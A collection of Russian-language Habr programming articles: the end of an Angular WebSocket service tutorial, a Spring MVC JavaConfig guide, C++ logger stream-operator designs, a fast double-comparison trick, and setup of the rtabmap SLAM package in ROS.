> 0x80, <длина — один или несколько байт>, <тело сообщения>
Чтобы не создавать ограничений на длину передаваемого сообщения и в то же время не расходовать байты нерационально, разработчики протокола использовали следующий алгоритм. Каждый байт в указании длины рассматривается по отдельности: старший указывает на то, последний ли это байт (0) или же за ним идут другие (1), а младшие 7 битов содержат передаваемые данные. Следовательно, когда появляется признак бинарного дата-фрейма 0x80, то берется следующий байт и откладывается в отдельную «копилку». Потом следующий байт, если у него установлен старший бит, тоже переносится в «копилку» и так далее до тех пор, пока не встретится байт с нулевым старшим битом. Этот байт — последний в указателе длины и также складывается в «копилку». Теперь из байтов в «копилке» убираются старшие биты, и остаток объединяется. Вот это и будет длина тела сообщения — 7-битные числа без старшего бита.
Механизм парсинга и бинарного стрима на фронтенде сложен и связан с маппингом данных на модели. Этому можно посвятить отдельную статью. В этот раз разберем простой вариант, а сложные случаи оставим для следующих публикаций, если будет интерес к теме.
Проецирование (маппинг) получаемой информации на модели
-------------------------------------------------------
Независимо от типа передачи принимаемое требуется безопасно читать и изменять. Нет единого мнения как это лучше делать, я придерживаюсь теории [модели данных](https://ru.wikipedia.org/wiki/%D0%9C%D0%BE%D0%B4%D0%B5%D0%BB%D1%8C_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85), так как считаю её логичной и надежной для программирования в ООП-стиле.
> «Модель данных — это абстрактное, самодостаточное, логическое определение объектов, операторов и прочих элементов, в совокупности составляющих абстрактную машину доступа к данным, с которой взаимодействует пользователь. Эти объекты позволяют моделировать структуру данных, а операторы — поведение данных.»
Всевозможные популярные шины, которые не дают представление объекта, как класса, в котором определяется поведение, структура и т.д., создают путаницу, хуже контролируются и иногда обрастают тем, что им не свойственно. Например, класс собаки при любых условиях должен описывать собаку. Если собаку воспринимать в виде набора полей: хвост, цвет, морда и т.д., то у собаки может вырасти лишняя лапа, а вместо головы появиться другая собака.
Контроль над изменениями моделей по мере прихода новых событий
--------------------------------------------------------------
В этом пункте опишу задачу, с которой столкнулся при работе над веб-интерфейсом мобильного приложения спортивных ставок. API приложения работало через вебсокеты, через которые получали: обновление коэффициентов, добавление и удаление новых типов ставок, уведомления о начале или окончании матча и т.д. — итого около трёхсот событий вебсокета. Во время матча ставки и информация непрерывно обновляются, иногда 2–3 раза в секунду, таким образом проблема заключалась в том, что вслед за ними без промежуточного контроля обновлялся и интерфейс.
Когда пользователь следил за ставкой с мобильного устройства, и в это же время на его дисплее обновлялись списки, то ставка исчезала из поля видимости, поэтому пользователю приходилось искать отслеживаемую ставку заново. Такое поведение повторялось на каждое обновление.
Для решения потребовалась иммутабельность для объектов, которые отображались на экране, но при этом коэффициенты ставок должны были меняться, неактуальные ставки приобретать неактивный вид, а новые не добавляться до тех пор, пока пользователь не проскроллит экран. На бэкенде устаревшие варианты не хранились, поэтому такие линии требовалось запоминать и помечать флагом «deleted», для чего было создано промежуточное хранилище данных между вебсокетом и подпиской, что обеспечило контроль за изменениями.
В новом сервисе также создадим слой-заместитель и в этот раз воспользуемся [Dexie.js](https://github.com/dfahlander/Dexie.js) — обертку над IndexedDB API, но подойдет любая другая виртуальная или браузерная БД. Допустимо использование Redux.
Игнорирование произвольных событий и отмена игнорирования
---------------------------------------------------------
В одной компании часто существуют сразу несколько однотипных проектов: мобильная и веб версии, версии с различными настройками для разных групп пользователей, расширенные и урезанные варианты одного и того же приложения.
Часто все они используют единую кодовую базу, поэтому иногда требуется отключать ненужные события в рантайме или при DI, не удаляя подписки и снова включать, т.е. игнорировать часть из них, чтобы не обрабатывать ненужные события. Это простая, но полезная функция, которая добавляет гибкости шине Pub/Sub.
Начнем с описания интерфесов:
```
export interface IWebsocketService { // публичный интерфейс сервиса
addEventListener(topics: string[], id?: number): Observable;
runtimeIgnore(topics: string[]): void;
runtimeRemoveIgnore(topics: string[]): void;
sendMessage(event: string, data: any): void;
}
export interface WebSocketConfig { // конфиг при DI
url: string;
ignore?: string[];
garbageCollectInterval?: number;
options?: Options;
}
export interface ITopic { // Топик для Pub/Sub
[hash: string]: MessageSubject;
}
export interface IListeners { // объект с топиками
[topic: string]: ITopic;
}
export interface IBuffer { // бинарный буфер из ws.message
type: string;
data: number[];
}
export interface IWsMessage { // ws.message
event: string;
buffer: IBuffer;
}
export interface IMessage { // Для демо
id: number;
text: string;
}
export type ITopicDataType = IMessage[] | number | string[]; // типизируем callMessage в сервисе
```
Отнаследуем Subject, чтобы создать сборщик мусора:
```
export class MessageSubject extends Subject {
constructor(
private listeners: IListeners, // объект с топиками
private topic: string, // текущий топик
private id: string // id сабжекта
) {
super();
}
/\*
\* переопределяем стандартный next,
\* теперь на очередное обращение при отсутствии подписок,
\* будет вызываться garbageCollect
\*/
public next(value?: T): void {
if (this.closed) {
throw new ObjectUnsubscribedError();
}
if (!this.isStopped) {
const {observers} = this;
const len = observers.length;
const copy = observers.slice();
for (let i = 0; i < len; i++) {
copy[i].next(value);
}
if (!len) {
this.garbageCollect(); // выносим мусор
}
}
}
/\*
\* garbage collector
\* \*/
private garbageCollect(): void {
delete this.listeners[this.topic][this.id]; // удаляем Subject
if (!Object.keys(this.listeners[this.topic]).length) { // удаляем пустой топик
delete this.listeners[this.topic];
}
}
}
```
В отличие от прошлой реализации websocket.events.ts сделаем частью модуля вебсокетов
```
export const WS_API = {
EVENTS: {
MESSAGES: 'messages',
COUNTER: 'counter',
UPDATE_TEXTS: 'update-texts'
},
COMMANDS: {
SEND_TEXT: 'set-text',
REMOVE_TEXT: 'remove-text'
}
};
```
Для конфигурирования при подключении модуля создадим websocket.config:
```
import { InjectionToken } from '@angular/core';
export const config: InjectionToken = new InjectionToken('websocket');
```
Создадим модель для Proxy:
```
import Dexie from 'dexie';
import { IMessage, IWsMessage } from './websocket.interfaces';
import { WS_API } from './websocket.events';
class MessagesDatabase extends Dexie { // это стандартное использование Dexie с typescript
public messages!: Dexie.Table; // id is number in this case
constructor() {
super('MessagesDatabase'); // имя хранилища
this.version(1).stores({ // модель стора
messages: '++id,text'
});
}
}
```
Простой парсер моделей, в реальных условиях его лучше разделить на несколько файлов:
```
export const modelParser = (message: IWsMessage) => {
if (message && message.buffer) {
/* парсим */
const encodeUint8Array = String.fromCharCode
.apply(String, new Uint8Array(message.buffer.data));
const parseData = JSON.parse(encodeUint8Array);
let MessagesDB: MessagesDatabase; // IndexedDB
if (message.event === WS_API.EVENTS.MESSAGES) { // IMessage[]
if (!MessagesDB) {
MessagesDB = new MessagesDatabase();
}
parseData.forEach((messageData: IMessage) => {
/* создаем транзакцию */
MessagesDB.transaction('rw', MessagesDB.messages, async () => {
/* создаем, если запись отсутствует */
if ((await MessagesDB.messages
.where({id: messageData.id}).count()) === 0) {
const id = await MessagesDB.messages
.add({id: messageData.id, text: messageData.text});
console.log(`Addded message with id ${id}`);
}
}).catch(e => {
console.error(e.stack || e);
});
});
return MessagesDB.messages.toArray(); // возвращаем массив IMessage[]
}
if (message.event === WS_API.EVENTS.COUNTER) { // counter
return new Promise(r => r(parseData)); // промис с счетчиком
}
if (message.event === WS_API.EVENTS.UPDATE_TEXTS) { // text
const texts = [];
parseData.forEach((textData: string) => {
texts.push(textData);
});
return new Promise(r => r(texts)); // промис с массивом строк
}
} else {
console.log(`[${Date()}] Buffer is "undefined"`);
}
};
```
WebsocketModule:
```
@NgModule({
imports: [
CommonModule
]
})
export class WebsocketModule {
public static config(wsConfig: WebSocketConfig): ModuleWithProviders {
return {
ngModule: WebsocketModule,
providers: [{provide: config, useValue: wsConfig}]
};
}
}
```
Начнем создавать сервис:
```
private listeners: IListeners; // список топиков
private uniqueId: number; // соль для id подписки
private websocket: ReconnectingWebSocket; // объект вебсокета
constructor(@Inject(config) private wsConfig: WebSocketConfig) {
this.uniqueId = -1;
this.listeners = {};
this.wsConfig.ignore = wsConfig.ignore ? wsConfig.ignore : [];
// коннектимся
this.connect();
}
ngOnDestroy() {
this.websocket.close(); // убиваем вебсокет при дестрое
}
```
Метод connect:
```
private connect(): void {
// ReconnectingWebSocket config
const options = {
connectionTimeout: 1000, // таймаут реконнекта, если не задано
maxRetries: 10, // попытки реконнекта, если не задано
...this.wsConfig.options
};
// Коннектимся
this.websocket = new ReconnectingWebSocket(this.wsConfig.url, [], options);
this.websocket.addEventListener('open', (event: Event) => {
// соединение открыто
console.log(`[${Date()}] WebSocket connected!`);
});
this.websocket.addEventListener('close', (event: CloseEvent) => {
// соединение закрыто
console.log(`[${Date()}] WebSocket close!`);
});
this.websocket.addEventListener('error', (event: ErrorEvent) => {
// ошибка соединения
console.error(`[${Date()}] WebSocket error!`);
});
this.websocket.addEventListener('message', (event: MessageEvent) => {
// диспатчим события в подписки
this.onMessage(event);
});
setInterval(() => {
// дублируем сборщик мусора
this.garbageCollect();
}, (this.wsConfig.garbageCollectInterval || 10000));
}
```
Дублируем сборщик мусора, будет проверять подписки по таймауту:
```
private garbageCollect(): void {
for (const event in this.listeners) {
if (this.listeners.hasOwnProperty(event)) {
const topic = this.listeners[event];
for (const key in topic) {
if (topic.hasOwnProperty(key)) {
const subject = topic[key];
// удаляем Subject если нет подписок
if (!subject.observers.length) {
delete topic[key];
}
}
}
Удаляем топик, если пуст
if (!Object.keys(topic).length) {
delete this.listeners[event];
}
}
}
}
```
Смотрим в какую подписку слать событие:
```
private onMessage(event: MessageEvent): void {
const message = JSON.parse(event.data);
for (const name in this.listeners) {
if (this.listeners.hasOwnProperty(name) && !this.wsConfig.ignore.includes(name)) {
const topic = this.listeners[name];
const keys = name.split('/'); // если подписаны на несколько событий
const isMessage = keys.includes(message.event);
const model = modelParser(message); // получаем промис с моделями
if (isMessage && typeof model !== 'undefined') {
model.then((data: ITopicDataType) => {
// отправляем в Subject
this.callMessage(topic, data);
});
}
}
}
}
```
Шлем событие в Subject:
```
private callMessage(topic: ITopic, data: T): void {
for (const key in topic) {
if (topic.hasOwnProperty(key)) {
const subject = topic[key];
if (subject) {
// отправляем подписчику
subject.next(data);
} else {
console.log(`[${Date()}] Topic Subject is "undefined"`);
}
}
}
}
```
Создаем топик Pub/Sub:
```
private addTopic(topic: string, id?: number): MessageSubject {
const token = (++this.uniqueId).toString();
const key = id ? token + id : token; // уникальный id для токена
const hash = sha256.hex(key); // SHA256-хэш в качестве id топика
if (!this.listeners[topic]) {
this.listeners[topic] = {};
}
return this.listeners[topic][hash] = new MessageSubject(this.listeners, topic, hash);
}
```
Подписка на одно или несколько событий:
```
public addEventListener(topics: string | string[], id?: number): Observable {
if (topics) {
// подписка на одно или несколько событий
const topicsKey = typeof topics === 'string' ? topics : topics.join('/');
return this.addTopic(topicsKey, id).asObservable();
} else {
console.log(`[${Date()}] Can't add EventListener. Type of event is "undefined".`);
}
}
```
Здесь все намеренно упрощено, но можно преобразовывать в бинарные сущности, как и в случае с сервером. Отсылка команд на сервер:
```
public sendMessage(event: string, data: any = {}): void {
// если соединение активно, шлем имя события и информацию
if (event && this.websocket.readyState === 1) {
this.websocket.send(JSON.stringify({event, data}));
} else {
console.log('Send error!');
}
}
```
Добавляем события в игнорлист в рантайме:
```
public runtimeIgnore(topics: string[]): void {
if (topics && topics.length) {
// добавляем в игнорлист
this.wsConfig.ignore.push(...topics);
}
}
```
Удаляем события из игнорлиста:
```
public runtimeRemoveIgnore(topics: string[]): void {
if (topics && topics.length) {
topics.forEach((topic: string) => {
// ищем событие в списке топиков
const topicIndex = this.wsConfig.ignore.findIndex(t => t === topic);
if (topicIndex > -1) {
// снова слушаем собтия
this.wsConfig.ignore.splice(topicIndex, 1);
}
});
}
}
```
Подключаем модуль вебсокетов:
```
@NgModule({
declarations: [
AppComponent
],
imports: [
BrowserModule,
ReactiveFormsModule,
WebsocketModule.config({
url: environment.ws, // или "ws://mywebsocketurl"
// список игнорируемых событий
ignore: [WS_API.EVENTS.ANY_1, WS_API.EVENTS.ANY_2],
garbageCollectInterval: 60 * 1000, // интервал сборки мусора
options: {
connectionTimeout: 1000, // таймаут реконнекта
maxRetries: 10 // попытки реконнекта
}
})
],
providers: [],
bootstrap: [AppComponent]
})
export class AppModule {
}
```
Используем в компонентах:
```
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit, OnDestroy {
private messages$: Observable;
private messagesMulti$: Observable;
private counter$: Observable;
private texts$: Observable;
public form: FormGroup;
constructor(
private fb: FormBuilder,
private wsService: WebsocketService) {
}
ngOnInit() {
this.form = this.fb.group({
text: [null, [
Validators.required
]]
});
// get messages
this.messages$ = this.wsService
.addEventListener(WS\_API.EVENTS.MESSAGES);
// get messages multi
this.messagesMulti$ = this.wsService
.addEventListener([
WS\_API.EVENTS.MESSAGES,
WS\_API.EVENTS.MESSAGES\_1
]);
// get counter
this.counter$ = this.wsService
.addEventListener(WS\_API.EVENTS.COUNTER);
// get texts
this.texts$ = this.wsService
.addEventListener(WS\_API.EVENTS.UPDATE\_TEXTS);
}
ngOnDestroy() {
}
public sendText(): void {
if (this.form.valid) {
this.wsService
.sendMessage(WS\_API.COMMANDS.SEND\_TEXT, this.form.value.text);
this.form.reset();
}
}
public removeText(index: number): void {
this.wsService.sendMessage(WS\_API.COMMANDS.REMOVE\_TEXT, index);
}
}
```
Сервис готов к использованию.
---
Пример из статьи хоть не является универсальным решением для каждого проекта, но демонстрирует один из подходов работы с вебсокетами в больших и сложных приложениях. Вы можете взять его на вооружение и модифицировать в зависимости от текущих задач.
Полную версию сервиса можно найти на [GitHub](https://github.com/AlexDaSoul/angular-websocket-example).
По всем вопросам можете обращаться в комментарии, [ко мне](https://t.me/AlexDaSoul) в Телеграм или на [канал Angular](https://t.me/angular_ru) там же. | https://habr.com/ru/post/419099/ | null | ru | null |
# Spring MVC — JavaConfig либо конфигурация проекта без XML файлов
Доброго времени суток уважаемые хабравчане. Как-то мне пришлось писать небольшой проект, так как у меня была возможность свободного выбора технологий я решил использовать **Spring Framework**. Сразу же хочу сказать я не являюсь гуру в данном фреймворке, и буду благодарен правкам.
Немного поискав на хабре, я не смог найти именно того о чем хочу вам сейчас рассказать и продемонстрировать. Поэтому решил написать пост на данную тему. Речь пойдет о **JavaConfig**, а именно о том как сконфигурировать Spring MVC проект не используя **\*.xml** конфигурации, например: (mvc-dispatcher-servlet.xml).
На тему **Spring MVC** есть неплохой материал [тут](http://www.mkyong.com/spring-mvc/spring-mvc-hello-world-example/) и [тут](http://habrahabr.ru/post/83860/), но в этих примерах используются xml конфигурации. Я же хочу показать как создать структуру проекта Spring MVC используя **JavaConfig**.
#### Что же такое JavaConfig?
**JavaConfig** — это альтернатива привычной нам XML конфигурации, но используя не xml разметку, а синтаксис Java.
Мне нравится использовать JavaConfig, в первую очередь потому что это Java, мы видим java код, что есть удобно, во-вторых большинство ошибок в конфигурации можно отловить на момент написания конфигурации в этом вам поможет любимая IDE в моем случае это Intellij IDEA, но даже если IDE говорит что все круто, то у вас есть шанс отловить ошибку в конфигурировании на момент компиляции.
##### Преимущества:
1. Главное преимущество, на мой взгляд, это Java синтаксис;
2. Вы получаете все возможности IDE по отношению работы с кодом, автоматическая генирация кода, авто-подставка значений, подсказки и т.п.;
3. Больше гибкости за счет использования объектов и их методов;
4. Нет необходимости в полной сборке и деплоя проекта для того чтобы отловить неисправность в xml конфигурации. (но бывают исключения, например: **NullPointerException**).
JavaConfig существовала раньше как отдельный проект, но начиная со Spring Core 3.0 данный проект стал часть core проекта. Теперь для того чтобы иметь возможность писать конфигурацию используя JavaConfig достаточно использовать Spring Core 3+
#### Стандартная конфигурация с использованием XML
Для начало рассмотрим структуру и конфигурацию проекта Spring MVC с использованием XML конфигураций, а после уже переведем на JavaConfig.
Вот так выглядит структура проекта:
Начнем с добавления зависимостей в **pom.xml**:
```
3.2.9.RELEASE
org.springframework
spring-core
${spring.version}
org.springframework
spring-web
${spring.version}
org.springframework
spring-webmvc
${spring.version}
```
Теперь создадим простую jsp страницу **index.jsp**:
```
Message : ${message}
====================
```
И последнее, что не касается конфигурации это контроллер **HelloController.java**:
```
package com.devcolibri.common.controller;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
@Controller
@RequestMapping("/welcome")
public class HelloController {
@RequestMapping(method = RequestMethod.GET)
public String printWelcome(ModelMap model) {
model.addAttribute("message", "Spring 3 MVC - Hello World");
return "hello";
}
}
```
Теперь у нас есть все необходимое для того чтобы получить работающий Spring MVC проект, помимо конфигурации. Дальше мы рассмотрим именно её.
Обратите внимание что все детали Spring MVC проекта я не объясняю так как ране на хабра уже были посты по этому поводу.
Теперь рассмотрим как сконфигурировать проект используя XML файл. Начнем с **mvc-dispatcher-servlet.xml** именно этот файл будет конфигурировать наш проект, в основном тут мы описываем все наши **beans**.
Содержимое файла mvc-dispatcher-servlet.xml:
```
/WEB-INF/pages/
.jsp
```
В данной конфигурации мы указываем, где искать все наши контроллеры, сервисы и другие компоненты с помощью тега: **context:component-scan**, а также инициализируем InternalResourceViewResolver, который отвечайте за показ View в нашем случае это **jsp** страницы.
#### Конфигурация на основе JavaConfig
Так как **JavaConfig** это простые java классы, создадим для них пакет config как показанно на рис. ниже, а также вот наша новая структура проекта уже без **web.xml** и **mvc-dispatcher-servlet.xml**.
Как видно из структуры проекта у нас появилось два класса в пакете **config** именно они и являются заменой xml конфигурации.
Начнем с **WebConfig**:
```
package com.devcolibri.common.config;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.ComponentScan;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.EnableWebMvc;
import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter;
import org.springframework.web.servlet.view.InternalResourceViewResolver;
import org.springframework.web.servlet.view.JstlView;
@Configuration
@EnableWebMvc
@ComponentScan("com.devcolibri.common")
public class WebConfig extends WebMvcConfigurerAdapter {
@Override
public void addResourceHandlers(ResourceHandlerRegistry registry) {
registry.addResourceHandler("/WEB-INF/pages/**").addResourceLocations("/pages/");
}
@Bean
public InternalResourceViewResolver setupViewResolver() {
InternalResourceViewResolver resolver = new InternalResourceViewResolver();
resolver.setPrefix("/WEB-INF/pages/");
resolver.setSuffix(".jsp");
resolver.setViewClass(JstlView.class);
return resolver;
}
}
```
###### Аннотации:
**@Configuration** — собственно эта аннотация и говорит о том, что данный класс является **Java Configuration**;
**@EnableWebMvc** — эта аннотация разрешает нашему проекту использовать MVC;
**@ComponentScan(«com.devcolibri.common»)** — аналогично тому component-scan который был в **mvc-dispatcher-servlet.xml**, говорит, где искать компоненты проекта.
**[Bean](https://habrahabr.ru/users/bean/)** — указывает на то что это инициализация бина, и он будет создан с помощью DI.
###### Конфигурация
**WebMvcConfigurerAdapter** — унаследовавшись от этого класса мы получим возможность сконфигурировать **ResourceLocations**.
**addResourceHandlers(ResourceHandlerRegistry registry)** — переопределив данный метод мы сможем указать где будут лежать ресурсы нашего проекта, такие как css, image, js и другие.
**InternalResourceViewResolver** — аналогичная конфигурация с mvc-dispatcher-servlet.xml.
```
/WEB-INF/pages/
.jsp
```
Теперь нужно зарегистрировать конфигурацию в Spring Context это нам позволит сделать наш класс **AppInit**:
```
package com.devcolibri.common.config;
import org.springframework.web.servlet.support.AbstractAnnotationConfigDispatcherServletInitializer;
public class AppInit extends AbstractAnnotationConfigDispatcherServletInitializer {
// Этот метод должен содержать конфигурации которые инициализируют Beans
// для инициализации бинов у нас использовалась аннотация @Bean
@Override
protected Class[] getRootConfigClasses() {
return new Class[]{
WebConfig.class
};
}
// Тут добавляем конфигурацию, в которой инициализируем ViewResolver
@Override
protected Class[] getServletConfigClasses() {
return new Class[]{
WebConfig.class
};
}
@Override
protected String[] getServletMappings() {
return new String[]{"/"};
}
}
```
##### Добавим необходимые зависимости и плагины
В pom.xml нужно добавить еще две зависимости:
```
javax.servlet
javax.servlet-api
3.0.1
jstl
jstl
1.2
```
А теперь нужно добавить **maven-war-plugin** с помощтю которого мы сможем отключить необходимость **web.xml** файла.
```
org.apache.maven.plugins
maven-war-plugin
false
```
На этом все. Надеюсь данный материал был полезен.
**p.s.** Я не гуру, и буду рад правкам в коде. | https://habr.com/ru/post/226663/ | null | ru | null |
# Варианты operator<< для логгера
Уважаемые хабровчане, у меня родилась публикация — вопрос. С удовольствием выслушаю вашу критику в комментариях.
В проекте пришлось набросать небольшую обертку над существующей системой логирования и помимо ее основного предназначения захотелось ее использовать в стиле работы с потоком вывода.
Опуская ненужные детали, обертка выглядит так:
```
class LoggerWrap: public RequiredInterface
{
public:
void write(const std::string& str) const; //запись в существующую систему логирования
/*
... прочие методы и поля класса реализующие RequiredInterface ...
*/
};
```
А хочется еще использовать как-нибудь так:
```
LoggerWrap log;
log << "значение 1: " << std::setw(10) << someValue << "; значение 2:" << std::setw(15) << anotherValue;
```
В процессе размышлений мне пришло в голову несколько решений которые я и хочу обсудить.
Вариант 1
=========
Перегрузить operator<<, данные полученные им направлять в локальный для потока ostringstream. В конце писать в лог специальный объект — признак конца строки.
Решение может выглядеть примерно так:
```
class LoggerWrap
{
public:
void write(const std::string& str) const
{
//просто для примера
std::cout << "[Log]: " << str << std::endl;
}
/*
... прочие методы и поля класса ...
*/
struct Flush {}; //признака конца строки
template
LoggerWrap& operator<< (const T& data)
{
buf << data;
return \*this;
}
LoggerWrap& operator<< (const Flush&)
{
write(buf.str());
buf.str("");
buf.flags(defFmtFlags);
return \*this;
}
private:
thread\_local static std::ostringstream buf;
const thread\_local static std::ios::fmtflags defFmtFlags;
};
thread\_local std::ostringstream LoggerWrap::buf;
const thread\_local std::ios::fmtflags LoggerWrap::defFmtFlags(buf.flags());
```
Использование:
```
LoggerWrap logger;
logger << "#" << 1 << ": " << 1.2 << ", text again" << LoggerWrap::Flush();
logger << "#" << 2 << ": " << std::scientific << 2.3 << ", text again" << LoggerWrap::Flush();
logger << "string #" << 3 << ": " << 10.5 << LoggerWrap::Flush();
```
в консоли будет напечатано:
```
[Log]: #1: 1.2, text again
[Log]: #2: 2.300000e+00, text again
[Log]: #3: 10.5
```
Для меня, недостатком этого варианта является необходимость писать LoggerWrap::Flush(). Его можно забыть написать и потом долго пытаться понять, а что за чертовщина происходит в логе.
Вариант 2
=========
Как определить, что строка для логирования завершена, без явного указания на это? Я решил опереться на время жизни временного объекта. Когда функция возвращает объект, то он живет пока на него есть ссылка. Таким образом можно создать временный объект со своим operator<<, возвращающим ссылку на этот объект, а его деструктор будет вызывать метод LoggerWrap::write.
Получается следующее:
```
class LoggerWrap
{
public:
void write(const std::string& str) const
{
//просто для примера
std::cout << "[Log]: " << str << std::endl;
}
/*
... прочие методы и поля класса ...
*/
class TmpLog
{
friend class LoggerWrap;
public:
~TmpLog()
{
if (flush)
{
logger.write(buf.str());
buf.str("");
}
}
template
TmpLog& operator<< (const T& data)
{
buf << data;
return \*this;
}
TmpLog(const TmpLog&) = delete;
private:
TmpLog(const LoggerWrap& logger, std::ostringstream& buf) :
logger(logger),
buf(buf)
{
}
TmpLog(TmpLog&& that):
logger(that.logger),
buf(that.buf),
flush(that.flush)
{
that.flush = false;
}
const LoggerWrap& logger;
std::ostringstream& buf;
bool flush = true;
};
template
TmpLog operator<< (const T& data)
{
buf.flags(defFmtFlags);
TmpLog tmlLog(\*this, buf);
return std::move(tmlLog << data);
}
private:
thread\_local static std::ostringstream buf;
const thread\_local static std::ios::fmtflags defFmtFlags;
};
thread\_local std::ostringstream LoggerWrap::buf;
const thread\_local std::ios::fmtflags LoggerWrap::defFmtFlags(buf.flags());
```
и использование:
```
LoggerWrap logger;
logger << "#" << 1 << ": " << 1.2 << ", text again";
logger << "#" << 2 << ": " << std::scientific << 2.3 << ", text again";
logger << "#" << 3 << ": " << 10.5;
```
вывод в консоли будет аналогичен первому решению.
Итоги
=====
Здесь не задаются уровни логирования (Warning, Error, Info и т.п.) так как наша система логирования их не различает, но добавить это в обертку не сложно. Например определить LoggerWrap::operator(), принимающий в качестве аргумента желаемый уровень для строки, которая будет выведена.
Мне больше нравится второе решение, так как не нужно дописывать после каждой строки некоторое магическое слово. А при добавлении уровней логирования, во временном объекте можно будет хранить эту информацию для текущей строки.
Спасибо, что дочитали, надеюсь увидеть ваше мнение в комментариях. | https://habr.com/ru/post/342160/ | null | ru | null |
# Drush — командная строка для CMS Drupal
**[Drush](http://drupal.org/project/drush)** — мощная утилита значительно уменьшающая кол-во рутинных действий при работе с CMS Drupal. Установка друпала требует скачивать значительное количество модулей из разных разделов drupal.org, drush позволяет одной командой скачать все модули,
`$ drush dl cck views token admin_menu`
а другой командой их включить:
`$ drush en cck views token admin_menu`
Обновление модулей:
`$ drush update`
Для установки drush скачиваем и распаковываем [архив](http://ftp.drupal.org/files/projects/drush-All-versions-3.0.tar.gz) и пользуемся через ssh.
Также с помощью drush можно производить синхронизацию разрабатываемого сайта и базы данных с основным сайтом. | https://habr.com/ru/post/94846/ | null | ru | null |
# Быстрое сравнение double
Вчера здесь вышла [статья](https://habr.com/ru/company/ruvds/blog/542640/) о быстром парсинге double, я зашёл во блог к её автору, и нашёл там [ещё один интересный трюк](https://lemire.me/blog/2020/12/14/converting-floating-point-numbers-to-integers-while-preserving-order/). При сравнении чисел с плавающей точкой особое внимание приходится уделять NaN (восемь лет назад я [писал](https://habr.com/ru/post/171203/) про них подробнее); но если сравниваемые числа заведомо не NaN, то сравнить их можно быстрее, чем это делает процессор!
Положительные double сравнивать очень просто: нормализация гарантирует нам, что из чисел с разной экспонентой больше то, чья экспонента больше, а из чисел с равной экспонентой больше то, чья мантисса больше. Стандарт IEEE 754 заботливо поместил экспоненту в старшие биты, так что положительные double можно сравнивать просто как int64\_t.
[](https://commons.wikimedia.org/wiki/File:IEEE_754_Double_Floating_Point_Format.svg)
С отрицательными числами немного сложнее: они хранятся в [прямом коде](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D1%8F%D0%BC%D0%BE%D0%B9_%D0%BA%D0%BE%D0%B4), тогда как int64\_t — в [дополнительном](https://ru.wikipedia.org/wiki/%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B9_%D0%BA%D0%BE%D0%B4). Это значит, что для использования целочисленного сравнения младшие 63 бита double необходимо инвертировать (при этом получится -0. < +0., что не соответствует стандарту, но на практике не представляет проблемы). Явная проверка старшего бита и условный переход уничтожили бы всю выгоду от перехода к целочисленному сравнению; но есть способ проще!
```
inline int64_t to_int64(double x) {
int64_t a = *(int64_t*)&x
uint64_t mask = (uint64_t)(a >> 63) >> 1;
return a ^ mask;
}
inline bool is_smaller(double x1, double x2) {
return to_int64(x1) < to_int64(x2);
}
```
`a>>63` заполняет все 64 бита копиями знакового бита, и затем `>>1` обнуляет старший бит.
Во блоге у Daniel Lemire несколько другой код (той же вычислительной сложности), но мой вариант сохраняет то полезное свойство, что `to_int64(0.) == 0` | https://habr.com/ru/post/542836/ | null | ru | null |
# Обзор алгоритмов SLAM для камер глубины в ROS
Добрый день уважаемые читатели! В [последней статье](https://geektimes.ru/post/290295/) я уже писал об алгоритме rtabmap SLAM в контексте методов визуальной одометрии. В этой статье я расскажу об этом алгоритме SLAM более подробно, а также представлю обзор другого известного алгоритма SLAM, предназначенного для камер глубины — RGBDSLAM. Кого заинтересовало, прошу под кат.
rtabmap
-------
О проекте можно прочитать подробно на [официальной странице](http://introlab.github.io/rtabmap/).
Процедуру установки rtabmap я подробно описывал в [предыдущей статье](https://geektimes.ru/post/290295/). Например, на системе Ubuntu 14.04 установка будет выглядеть таким образом:
```
sudo apt-get install ros-indigo-rtabmap ros-indigo-rtabmap-ros
```
Однако, на Raspberry Pi 3 с установленным ROS Kinetic этот способ не будет работать, поскольку билд rtabmap отключен в релизе Kinetic для ARM из-за проблемы с libpcl-dev (подробнее о проблеме можно прочитать [здесь](https://answers.ros.org/question/242666/sudo-apt-get-ros-kinetic-rtabmap-ros-e-unable-to-locate-package/)). Поэтому скомпилируем его из исходников следуя [инструкции](https://github.com/introlab/rtabmap_ros#build-from-source) на странице rtabmap:
```
source /opt/ros/kinetic/setup.bash
cd ~
git clone https://github.com/introlab/rtabmap.git rtabmap
cd rtabmap/build
cmake .. [<---double dots included]
make
```
Если на Raspberry Pi не доступен swap, то во время компиляции может не хватить виртуальной памяти:
```
virtual memory exhausted: Cannot allocate memory
```
Нужно добавить swap память по инструкции [отсюда](https://www.digitalocean.com/community/tutorials/how-to-add-swap-space-on-ubuntu-16-04) и заново запустить компиляцию.
Компиляция должна занять около часа. После этого выполним установку:
```
sudo make install
```
Установим rtabmap\_ros пакет в нашем рабочем каталоге catkin:
```
cd ~/catkin_ws
git clone https://github.com/introlab/rtabmap_ros.git src/rtabmap_ros
catkin_make -j1
source devel/setup.bash
```
При выполнении catkin\_make возможно появление ошибки из-за отсутствия файла image\_transportConfig.cmake. В таком случае нужно скомпилировать пакет image\_transport в рабочем каталоге catkin\_ws:
```
cd src
git clone https://github.com/ros-perception/image_common.git
cd ~/catkin_ws
catkin_make -j1
source devel/setup.bash
```
Для того, чтобы не возникало ошибки с загрузкой динамических библиотек при запуске узлов rtabmap\_ros, рекомендуется добавить следующую строку в ~/.bashrc:
```
echo 'export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/lib' >> ~/.bashrc
```
Использование rtabmap для построения карты
------------------------------------------
Запустим rtabmap:
```
rtabmap
```
Создадим новую базу данных: File → New database:
Для камеры Kinect по умолчанию используется драйвер OpenNI-PCL:
Запустим процедуру построения карты, нажав на кнопку «Start»:
rtabmap также можно использовать с rviz:
```
roslaunch openni_launch openni.launch depth_registration:=true
